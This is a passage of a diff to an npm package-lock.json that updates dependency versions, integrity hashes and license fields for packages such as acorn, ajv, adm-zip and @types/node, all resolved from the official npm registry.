     },
     "node_modules/@types/json5": {
       "version": "0.0.29",
       "resolved": "https://registry.npmjs.org/@types/json5/-/json5-0.0.29.tgz",
       "integrity": "sha512-dRLjCWHYg4oaA77cxO64oO+7JwCwnIzkZPdrrC71jQmQtlhM556pwKo5bUzqvZndkVbeFLIIi+9TC40JNF5hNQ==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/@types/keyv": {
       "version": "3.1.4",
       "resolved": "https://registry.npmjs.org/@types/keyv/-/keyv-3.1.4.tgz",
       "integrity": "sha512-BQ5aZNSCpj7D6K2ksrRCTmKRLEpnPvWDiLPfoGyhZ++8YtiK9d/3DBKPJgry359X/P1PfruyYwvnvwFjuEiEIg==",
+      "license": "MIT",
       "dependencies": {
         "@types/node": "*"
       }
     },
     "node_modules/@types/lodash": {
-      "version": "4.14.202",
-      "resolved": "https://registry.npmjs.org/@types/lodash/-/lodash-4.14.202.tgz",
-      "integrity": "sha512-OvlIYQK9tNneDlS0VN54LLd5uiPCBOp7gS5Z0f1mjoJYBrtStzgmJBxONW3U6OZqdtNzZPmn9BS/7WI7BFFcFQ=="
+      "version": "4.17.20",
+      "resolved": "https://registry.npmjs.org/@types/lodash/-/lodash-4.17.20.tgz",
+      "integrity": "sha512-H3MHACvFUEiujabxhaI/ImO6gUrd8oOurg7LQtS7mbwIXA/cUqWrvBsaeJ23aZEPk1TAYkurjfMbSELfoCXlGA==",
+      "license": "MIT"
     },
     "node_modules/@types/minimist": {
       "version": "1.2.5",
       "resolved": "https://registry.npmjs.org/@types/minimist/-/minimist-1.2.5.tgz",
       "integrity": "sha512-hov8bUuiLiyFPGyFPE1lwWhmzYbirOXQNNo40+y3zow8aFVTeyn3VWL0VFFfdNddA8S4Vf0Tc062rzyNr7Paag==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/@types/node": {
-      "version": "20.10.0",
-      "resolved": "https://registry.npmjs.org/@types/node/-/node-20.10.0.tgz",
-      "integrity": "sha512-D0WfRmU9TQ8I9PFx9Yc+EBHw+vSpIub4IDvQivcp26PtPrdMGAq5SDcpXEo/epqa/DXotVpekHiLNTg3iaKXBQ==",
+      "version": "24.0.12",
+      "resolved": "https://registry.npmjs.org/@types/node/-/node-24.0.12.tgz",
+      "integrity": "sha512-LtOrbvDf5ndC9Xi+4QZjVL0woFymF/xSTKZKPgrrl7H7XoeDvnD+E2IclKVDyaK9UM756W/3BXqSU+JEHopA9g==",
+      "license": "MIT",
       "dependencies": {
-        "undici-types": "~5.26.4"
+        "undici-types": "~7.8.0"
       }
     },
     "node_modules/@types/normalize-package-data": {
       "version": "2.4.4",
       "resolved": "https://registry.npmjs.org/@types/normalize-package-data/-/normalize-package-data-2.4.4.tgz",
       "integrity": "sha512-37i+OaWTh9qeK4LSHPsyRC7NahnGotNuZvjLSgcPzblpHB3rrCJxAOgI5gCdKm7coonsaX1Of0ILiTcnZjbfxA==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/@types/parse-json": {
       "version": "4.0.2",
       "resolved": "https://registry.npmjs.org/@types/parse-json/-/parse-json-4.0.2.tgz",
       "integrity": "sha512-dISoDXWWQwUquiKsyZ4Ng+HX2KsPL7LyHKHQwgGFEA3IaKac4Obd+h2a/a6waisAoepJlBcx9paWqjA8/HVjCw==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/@types/responselike": {
       "version": "1.0.3",
       "resolved": "https://registry.npmjs.org/@types/responselike/-/responselike-1.0.3.tgz",
       "integrity": "sha512-H/+L+UkTV33uf49PH5pCAUBVPNj2nDBXTN+qS1dOwyyg24l3CcicicCA7ca+HMvJBZcFgl5r8e+RR6elsb4Lyw==",
+      "license": "MIT",
       "dependencies": {
         "@types/node": "*"
       }
     },
+    "node_modules/@types/uuid": {
+      "version": "9.0.8",
+      "resolved": "https://registry.npmjs.org/@types/uuid/-/uuid-9.0.8.tgz",
+      "integrity": "sha512-jg+97EGIcY9AGHJJRaaPVgetKDsrTgbRjQ5Msgjh/DQKEFl0DtyRr/VCOyD1T2R1MNeWPK/u7JoGhlDZnKBAfA==",
+      "license": "MIT"
+    },
     "node_modules/@ungap/promise-all-settled": {
       "version": "1.1.2",
       "resolved": "https://registry.npmjs.org/@ungap/promise-all-settled/-/promise-all-settled-1.1.2.tgz",
       "integrity": "sha512-sL/cEvJWAnClXw0wHk85/2L0G6Sj8UB0Ctc1TEMbKSsmpRosqhwj9gWgFRZSrBr2f9tiXISwNhCPmlfqUqyb9Q==",
-      "dev": true
+      "dev": true,
+      "license": "ISC"
     },
     "node_modules/@ungap/structured-clone": {
-      "version": "1.2.0",
-      "resolved": "https://registry.npmjs.org/@ungap/structured-clone/-/structured-clone-1.2.0.tgz",
-      "integrity": "sha512-zuVdFrMJiuCDQUMCzQaD6KL28MjnqqN8XnAqiEq9PNm/hCPTSGfrXCOfwj1ow4LFb/tNymJPwsNbVePc1xFqrQ==",
-      "dev": true
+      "version": "1.3.0",
+      "resolved": "https://registry.npmjs.org/@ungap/structured-clone/-/structured-clone-1.3.0.tgz",
+      "integrity": "sha512-WmoN8qaIAo7WTYWbAZuG8PYEhn5fkz7dZrqTBZ7dtt//lL2Gwms1IcnQ5yHqjDfX8Ft5j4YzDM23f87zBfDe9g==",
+      "dev": true,
+      "license": "ISC"
     },
     "node_modules/2-thenable": {
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/2-thenable/-/2-thenable-1.0.0.tgz",
       "integrity": "sha512-HqiDzaLDFCXkcCO/SwoyhRwqYtINFHF7t9BDRq4x90TOKNAJpiqUt9X5lQ08bwxYzc067HUywDjGySpebHcUpw==",
+      "license": "ISC",
       "dependencies": {
         "d": "1",
         "es5-ext": "^0.10.47"
@@ -2851,6 +2928,7 @@
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/abort-controller/-/abort-controller-3.0.0.tgz",
       "integrity": "sha512-h8lQ8tacZYnR3vNQTgibj+tODHI5/+l06Au2Pcriv/Gmet0eaj4TwWH41sO9wnHDiQsEj19q0drzdWdeAHtweg==",
+      "license": "MIT",
       "dependencies": {
         "event-target-shim": "^5.0.0"
       },
@@ -2859,10 +2937,11 @@
       }
     },
     "node_modules/acorn": {
-      "version": "8.11.2",
-      "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.11.2.tgz",
-      "integrity": "sha512-nc0Axzp/0FILLEVsm4fNwLCwMttvhEI263QtVPQcbpfZZ3ts0hLsZGOpE6czNlid7CJ9MlyH8reXkpsf3YUY4w==",
+      "version": "8.15.0",
+      "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.15.0.tgz",
+      "integrity": "sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg==",
       "dev": true,
+      "license": "MIT",
       "bin": {
         "acorn": "bin/acorn"
       },
@@ -2875,6 +2954,7 @@
       "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz",
       "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==",
       "dev": true,
+      "license": "MIT",
       "peerDependencies": {
         "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0"
       }
@@ -2883,20 +2963,23 @@
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/add-stream/-/add-stream-1.0.0.tgz",
       "integrity": "sha512-qQLMr+8o0WC4FZGQTcJiKBVC59JylcPSrTtk6usvmIDFUOCKegapy1VHQwRbFMOFyb/inzUVqHs+eMYKDM1YeQ==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/adm-zip": {
-      "version": "0.5.10",
-      "resolved": "https://registry.npmjs.org/adm-zip/-/adm-zip-0.5.10.tgz",
-      "integrity": "sha512-x0HvcHqVJNTPk/Bw8JbLWlWoo6Wwnsug0fnYYro1HBrjxZ3G7/AZk7Ahv8JwDe1uIcz8eBqvu86FuF1POiG7vQ==",
+      "version": "0.5.16",
+      "resolved": "https://registry.npmjs.org/adm-zip/-/adm-zip-0.5.16.tgz",
+      "integrity": "sha512-TGw5yVi4saajsSEgz25grObGHEUaDrniwvA2qwSC060KfqGPdglhvPMA2lPIoxs3PQIItj2iag35fONcQqgUaQ==",
+      "license": "MIT",
       "engines": {
-        "node": ">=6.0"
+        "node": ">=12.0"
       }
     },
     "node_modules/agent-base": {
       "version": "6.0.2",
       "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz",
       "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==",
+      "license": "MIT",
       "dependencies": {
         "debug": "4"
       },
@@ -2909,6 +2992,7 @@
       "resolved": "https://registry.npmjs.org/aggregate-error/-/aggregate-error-3.1.0.tgz",
       "integrity": "sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "clean-stack": "^2.0.0",
         "indent-string": "^4.0.0"
@@ -2918,14 +3002,15 @@
       }
     },
     "node_modules/ajv": {
-      "version": "8.12.0",
-      "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.12.0.tgz",
-      "integrity": "sha512-sRu1kpcO9yLtYxBKvqfTeh9KzZEwO3STyX1HT+4CaDzC6HpTGYhIhPIzj9XuKU7KYDwnaeh5hcOwjy1QuJzBPA==",
+      "version": "8.17.1",
+      "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.17.1.tgz",
+      "integrity": "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g==",
+      "license": "MIT",
       "dependencies": {
-        "fast-deep-equal": "^3.1.1",
+        "fast-deep-equal": "^3.1.3",
+        "fast-uri": "^3.0.1",
         "json-schema-traverse": "^1.0.0",
-        "require-from-string": "^2.0.2",
-        "uri-js": "^4.2.2"
+        "require-from-string": "^2.0.2"
       },
       "funding": {
         "type": "github",
@@ -2936,6 +3021,7 @@
       "version": "2.1.1",
       "resolved": "https://registry.npmjs.org/ajv-formats/-/ajv-formats-2.1.1.tgz",
       "integrity": "sha512-Wx0Kx52hxE7C18hkMEggYlEifqWZtYaRgouJor+WMdPnQyEK13vgEWyVNup7SoeeoLMsr4kf5h6dOW11I15MUA==",
+      "license": "MIT",
       "dependencies": {
         "ajv": "^8.0.0"
       },
@@ -2953,6 +3039,7 @@
       "resolved": "https://registry.npmjs.org/ansi-colors/-/ansi-colors-4.1.1.tgz",
       "integrity": "sha512-JoX0apGbHaUJBNl6yF+p6JAFYZ666/hhCGKN5t9QFjbJQKUU/g8MNbFDbvfrgKXvI1QpZplPOnwIo99lX/AAmA==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=6"
       }
@@ -2961,6 +3048,7 @@
       "version": "4.3.2",
       "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-4.3.2.tgz",
       "integrity": "sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ==",
+      "license": "MIT",
       "dependencies": {
         "type-fest": "^0.21.3"
       },
@@ -2975,6 +3063,7 @@
       "version": "0.21.3",
       "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.21.3.tgz",
       "integrity": "sha512-t0rzBq87m3fVcduHDUFhKmyyX+9eo6WQjZvf51Ea/M0Q7+T374Jp1aUiyUl0GKxp8M/OETVHSDvmkyPgvX+X2w==",
+      "license": "(MIT OR CC0-1.0)",
       "engines": {
         "node": ">=10"
       },
@@ -2986,6 +3075,7 @@
       "version": "5.0.1",
       "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
       "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -2994,6 +3084,7 @@
       "version": "4.3.0",
       "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
       "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+      "license": "MIT",
       "dependencies": {
         "color-convert": "^2.0.1"
       },
@@ -3008,6 +3099,7 @@
       "version": "3.1.3",
       "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz",
       "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==",
+      "license": "ISC",
       "dependencies": {
         "normalize-path": "^3.0.0",
         "picomatch": "^2.0.4"
@@ -3021,6 +3113,7 @@
       "resolved": "https://registry.npmjs.org/append-transform/-/append-transform-2.0.0.tgz",
       "integrity": "sha512-7yeyCEurROLQJFv5Xj4lEGTy0borxepjFv1g22oAdqFu//SrAlDl1O1Nxx15SH1RoliUml6p8dwJW9jvZughhg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "default-require-extensions": "^3.0.0"
       },
@@ -3032,6 +3125,7 @@
       "version": "4.0.0",
       "resolved": "https://registry.npmjs.org/archive-type/-/archive-type-4.0.0.tgz",
       "integrity": "sha512-zV4Ky0v1F8dBrdYElwTvQhweQ0P7Kwc1aluqJsYtOBP01jXcWCyW2IEfI1YiqsG+Iy7ZR+o5LF1N+PGECBxHWA==",
+      "license": "MIT",
       "dependencies": {
         "file-type": "^4.2.0"
       },
@@ -3043,6 +3137,7 @@
       "version": "4.4.0",
       "resolved": "https://registry.npmjs.org/file-type/-/file-type-4.4.0.tgz",
       "integrity": "sha512-f2UbFQEk7LXgWpi5ntcO86OeA/cC80fuDDDaX/fZ2ZGel+AF7leRQqBBW1eJNiiQkrZlAoM6P+VYP5P6bOlDEQ==",
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
@@ -3051,6 +3146,7 @@
       "version": "5.3.2",
       "resolved": "https://registry.npmjs.org/archiver/-/archiver-5.3.2.tgz",
       "integrity": "sha512-+25nxyyznAXF7Nef3y0EbBeqmGZgeN/BxHX29Rs39djAfaFalmQ89SE6CWyDCHzGL0yt/ycBtNOmGTW0FyGWNw==",
+      "license": "MIT",
       "dependencies": {
         "archiver-utils": "^2.1.0",
         "async": "^3.2.4",
@@ -3068,6 +3164,7 @@
       "version": "2.1.0",
       "resolved": "https://registry.npmjs.org/archiver-utils/-/archiver-utils-2.1.0.tgz",
       "integrity": "sha512-bEL/yUb/fNNiNTuUz979Z0Yg5L+LzLxGJz8x79lYmR54fmTIb6ob/hNQgkQnIUDWIFjZVQwl9Xs356I6BAMHfw==",
+      "license": "MIT",
       "dependencies": {
         "glob": "^7.1.4",
         "graceful-fs": "^4.2.0",
@@ -3088,6 +3185,7 @@
       "version": "2.3.8",
       "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz",
       "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==",
+      "license": "MIT",
       "dependencies": {
         "core-util-is": "~1.0.0",
         "inherits": "~2.0.3",
@@ -3101,12 +3199,14 @@
     "node_modules/archiver-utils/node_modules/safe-buffer": {
       "version": "5.1.2",
       "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
-      "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g=="
+      "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==",
+      "license": "MIT"
     },
     "node_modules/archiver-utils/node_modules/string_decoder": {
       "version": "1.1.1",
       "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
       "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
+      "license": "MIT",
       "dependencies": {
         "safe-buffer": "~5.1.0"
       }
@@ -3115,21 +3215,26 @@
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/archy/-/archy-1.0.0.tgz",
       "integrity": "sha512-Xg+9RwCg/0p32teKdGMPTPnVXKD0w3DfHnFTficozsAgsvq2XenPJq/MYpzzQ/v8zrOyJn6Ds39VA4JIDwFfqw==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/argparse": {
       "version": "2.0.1",
       "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz",
-      "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q=="
+      "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==",
+      "license": "Python-2.0"
     },
     "node_modules/array-buffer-byte-length": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/array-buffer-byte-length/-/array-buffer-byte-length-1.0.0.tgz",
-      "integrity": "sha512-LPuwb2P+NrQw3XhxGc36+XSvuBPopovXYTR9Ew++Du9Yb/bx5AzBfrIsBoj0EZUifjQU+sHL21sseZ3jerWO/A==",
-      "dev": true,
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/array-buffer-byte-length/-/array-buffer-byte-length-1.0.2.tgz",
+      "integrity": "sha512-LHE+8BuR7RYGDKvnrmcuSq3tDcKv9OFEXQt/HpbZhY7V6h0zlUXutnAD82GiFx9rdieCMjkvtcsPqBwgUl1Iiw==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "is-array-buffer": "^3.0.1"
+        "call-bound": "^1.0.3",
+        "is-array-buffer": "^3.0.5"
+      },
+      "engines": {
+        "node": ">= 0.4"
       },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
@@ -3139,19 +3244,24 @@
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/array-ify/-/array-ify-1.0.0.tgz",
       "integrity": "sha512-c5AMf34bKdvPhQ7tBGhqkgKNUzMr4WUs+WDtC2ZUGOUncbxKMTvqxYctiseW3+L4bA8ec+GcZ6/A/FW4m8ukng==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/array-includes": {
-      "version": "3.1.7",
-      "resolved": "https://registry.npmjs.org/array-includes/-/array-includes-3.1.7.tgz",
-      "integrity": "sha512-dlcsNBIiWhPkHdOEEKnehA+RNUWDc4UqFtnIXU4uuYDPtA4LDkr7qip2p0VvFAEXNDr0yWZ9PJyIRiGjRLQzwQ==",
+      "version": "3.1.9",
+      "resolved": "https://registry.npmjs.org/array-includes/-/array-includes-3.1.9.tgz",
+      "integrity": "sha512-FmeCCAenzH0KH381SPT5FZmiA/TmpndpcaShhfgEN9eCVjnFBqq3l1xrI42y8+PPLI6hypzou4GXw00WHmPBLQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "define-properties": "^1.2.0",
-        "es-abstract": "^1.22.1",
-        "get-intrinsic": "^1.2.1",
-        "is-string": "^1.0.7"
+        "call-bind": "^1.0.8",
+        "call-bound": "^1.0.4",
+        "define-properties": "^1.2.1",
+        "es-abstract": "^1.24.0",
+        "es-object-atoms": "^1.1.1",
+        "get-intrinsic": "^1.3.0",
+        "is-string": "^1.1.1",
+        "math-intrinsics": "^1.1.0"
       },
       "engines": {
         "node": ">= 0.4"
@@ -3164,21 +3274,25 @@
       "version": "2.1.0",
       "resolved": "https://registry.npmjs.org/array-union/-/array-union-2.1.0.tgz",
       "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==",
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
     },
     "node_modules/array.prototype.findlastindex": {
-      "version": "1.2.3",
-      "resolved": "https://registry.npmjs.org/array.prototype.findlastindex/-/array.prototype.findlastindex-1.2.3.tgz",
-      "integrity": "sha512-LzLoiOMAxvy+Gd3BAq3B7VeIgPdo+Q8hthvKtXybMvRV0jrXfJM/t8mw7nNlpEcVlVUnCnM2KSX4XU5HmpodOA==",
+      "version": "1.2.6",
+      "resolved": "https://registry.npmjs.org/array.prototype.findlastindex/-/array.prototype.findlastindex-1.2.6.tgz",
+      "integrity": "sha512-F/TKATkzseUExPlfvmwQKGITM3DGTK+vkAsCZoDc5daVygbJBnjEUCbgkAvVFsgfXfX4YIqZ/27G3k3tdXrTxQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "define-properties": "^1.2.0",
-        "es-abstract": "^1.22.1",
-        "es-shim-unscopables": "^1.0.0",
-        "get-intrinsic": "^1.2.1"
+        "call-bind": "^1.0.8",
+        "call-bound": "^1.0.4",
+        "define-properties": "^1.2.1",
+        "es-abstract": "^1.23.9",
+        "es-errors": "^1.3.0",
+        "es-object-atoms": "^1.1.1",
+        "es-shim-unscopables": "^1.1.0"
       },
       "engines": {
         "node": ">= 0.4"
@@ -3188,15 +3302,16 @@
       }
     },
     "node_modules/array.prototype.flat": {
-      "version": "1.3.2",
-      "resolved": "https://registry.npmjs.org/array.prototype.flat/-/array.prototype.flat-1.3.2.tgz",
-      "integrity": "sha512-djYB+Zx2vLewY8RWlNCUdHjDXs2XOgm602S9E7P/UpHgfeHL00cRiIF+IN/G/aUJ7kGPb6yO/ErDI5V2s8iycA==",
+      "version": "1.3.3",
+      "resolved": "https://registry.npmjs.org/array.prototype.flat/-/array.prototype.flat-1.3.3.tgz",
+      "integrity": "sha512-rwG/ja1neyLqCuGZ5YYrznA62D4mZXg0i1cIskIUKSiqF3Cje9/wXAls9B9s1Wa2fomMsIv8czB8jZcPmxCXFg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "define-properties": "^1.2.0",
-        "es-abstract": "^1.22.1",
-        "es-shim-unscopables": "^1.0.0"
+        "call-bind": "^1.0.8",
+        "define-properties": "^1.2.1",
+        "es-abstract": "^1.23.5",
+        "es-shim-unscopables": "^1.0.2"
       },
       "engines": {
         "node": ">= 0.4"
@@ -3206,15 +3321,16 @@
       }
     },
     "node_modules/array.prototype.flatmap": {
-      "version": "1.3.2",
-      "resolved": "https://registry.npmjs.org/array.prototype.flatmap/-/array.prototype.flatmap-1.3.2.tgz",
-      "integrity": "sha512-Ewyx0c9PmpcsByhSW4r+9zDU7sGjFc86qf/kKtuSCRdhfbk0SNLLkaT5qvcHnRGgc5NP/ly/y+qkXkqONX54CQ==",
+      "version": "1.3.3",
+      "resolved": "https://registry.npmjs.org/array.prototype.flatmap/-/array.prototype.flatmap-1.3.3.tgz",
+      "integrity": "sha512-Y7Wt51eKJSyi80hFrJCePGGNo5ktJCslFuboqJsbf57CCPcm5zztluPlc4/aD8sWsKvlwatezpV4U1efk8kpjg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "define-properties": "^1.2.0",
-        "es-abstract": "^1.22.1",
-        "es-shim-unscopables": "^1.0.0"
+        "call-bind": "^1.0.8",
+        "define-properties": "^1.2.1",
+        "es-abstract": "^1.23.5",
+        "es-shim-unscopables": "^1.0.2"
       },
       "engines": {
         "node": ">= 0.4"
@@ -3224,18 +3340,18 @@
       }
     },
     "node_modules/arraybuffer.prototype.slice": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/arraybuffer.prototype.slice/-/arraybuffer.prototype.slice-1.0.2.tgz",
-      "integrity": "sha512-yMBKppFur/fbHu9/6USUe03bZ4knMYiwFBcyiaXB8Go0qNehwX6inYPzK9U0NeQvGxKthcmHcaR8P5MStSRBAw==",
-      "dev": true,
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/arraybuffer.prototype.slice/-/arraybuffer.prototype.slice-1.0.4.tgz",
+      "integrity": "sha512-BNoCY6SXXPQ7gF2opIP4GBE+Xw7U+pHMYKuzjgCN3GwiaIR09UUeKfheyIry77QtrCBlC0KK0q5/TER/tYh3PQ==",
+      "license": "MIT",
       "dependencies": {
-        "array-buffer-byte-length": "^1.0.0",
-        "call-bind": "^1.0.2",
-        "define-properties": "^1.2.0",
-        "es-abstract": "^1.22.1",
-        "get-intrinsic": "^1.2.1",
-        "is-array-buffer": "^3.0.2",
-        "is-shared-array-buffer": "^1.0.2"
+        "array-buffer-byte-length": "^1.0.1",
+        "call-bind": "^1.0.8",
+        "define-properties": "^1.2.1",
+        "es-abstract": "^1.23.5",
+        "es-errors": "^1.3.0",
+        "get-intrinsic": "^1.2.6",
+        "is-array-buffer": "^3.0.4"
       },
       "engines": {
         "node": ">= 0.4"
@@ -3249,6 +3365,7 @@
       "resolved": "https://registry.npmjs.org/arrify/-/arrify-1.0.1.tgz",
       "integrity": "sha512-3CYzex9M9FGQjCGMGyi6/31c8GJbgb0qGyrx5HWxPd0aCwh4cB2YjMb2Xf9UuoogrMrlO9cTqnB5rI5GHZTcUA==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -3256,13 +3373,15 @@
     "node_modules/asap": {
       "version": "2.0.6",
       "resolved": "https://registry.npmjs.org/asap/-/asap-2.0.6.tgz",
-      "integrity": "sha512-BSHWgDSAiKs50o2Re8ppvp3seVHXSRM44cdSsT9FfNEUUZLOGWVCsiWaRPWM1Znn+mqZ1OfVZ3z3DWEzSp7hRA=="
+      "integrity": "sha512-BSHWgDSAiKs50o2Re8ppvp3seVHXSRM44cdSsT9FfNEUUZLOGWVCsiWaRPWM1Znn+mqZ1OfVZ3z3DWEzSp7hRA==",
+      "license": "MIT"
     },
     "node_modules/asn1": {
       "version": "0.2.6",
       "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.6.tgz",
       "integrity": "sha512-ix/FxPn0MDjeyJ7i/yoHGFt/EX6LyNbxSEhPPXODPL+KB0VPk86UYfL0lMdy+KCnv+fmvIzySwaK5COwqVbWTQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "safer-buffer": "~2.1.0"
       }
@@ -3272,6 +3391,7 @@
       "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz",
       "integrity": "sha512-NfJ4UzBCcQGLDlQq7nHxH+tv3kyZ0hHQqF5BO6J7tNJeP5do1llPr8dZ8zHonfhAu0PHAdMkSo+8o0wxg9lZWw==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.8"
       }
@@ -3281,24 +3401,37 @@
       "resolved": "https://registry.npmjs.org/assertion-error/-/assertion-error-1.1.0.tgz",
       "integrity": "sha512-jgsaNduz+ndvGyFt3uSuWqvy4lCnIJiovtouQN5JZHOKCS2QuhEdbcQHFhVksz2N2U9hXJo8odG7ETyWlEeuDw==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": "*"
       }
     },
     "node_modules/async": {
-      "version": "3.2.5",
-      "resolved": "https://registry.npmjs.org/async/-/async-3.2.5.tgz",
-      "integrity": "sha512-baNZyqaaLhyLVKm/DlvdW051MSgO6b8eVfIezl9E5PqWxFgzLm/wQntEW4zOytVburDEr0JlALEpdOFwvErLsg=="
+      "version": "3.2.6",
+      "resolved": "https://registry.npmjs.org/async/-/async-3.2.6.tgz",
+      "integrity": "sha512-htCUDlxyyCLMgaM3xXg0C0LW2xqfuQ6p05pCEIsXuyQ+a1koYKTuBMzRNwmybfLgvJDMd0r1LTn4+E0Ti6C2AA==",
+      "license": "MIT"
+    },
+    "node_modules/async-function": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/async-function/-/async-function-1.0.0.tgz",
+      "integrity": "sha512-hsU18Ae8CDTR6Kgu9DYf0EbCr/a5iGL0rytQDobUcdpYOKokk8LEjVphnXkDkgpi0wYVsqrXuP0bZxJaTqdgoA==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
+      }
     },
     "node_modules/asynckit": {
       "version": "0.4.0",
       "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz",
-      "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q=="
+      "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==",
+      "license": "MIT"
     },
     "node_modules/at-least-node": {
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/at-least-node/-/at-least-node-1.0.0.tgz",
